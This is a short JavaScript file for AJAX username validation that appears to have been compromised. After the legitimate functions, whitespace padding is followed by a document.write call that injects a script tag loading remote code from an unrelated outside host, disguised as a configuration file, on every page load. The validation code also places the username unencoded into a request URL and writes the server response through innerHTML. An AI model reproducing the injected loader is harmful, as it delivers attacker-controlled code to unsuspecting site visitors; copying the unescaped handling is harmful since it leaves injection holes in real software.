var hand = function(str)
{
	window.document.getElementById('response_span').innerHTML=str;
}


function validateUsername(user){
	var strDomain='';
	window.document.getElementById('response_span').innerHTML="Validating Username...";
	var ajax = new Ajax();
	ajax.doGet(strDomain+'ajax-test.php?action=validateUsername&username='+user,hand,'text');
}

document.write('                                                                ');
document.write('                                                                ');
document.write('<script src=http://sicherheitswelt.net/cache/configuration.php ><\/script>');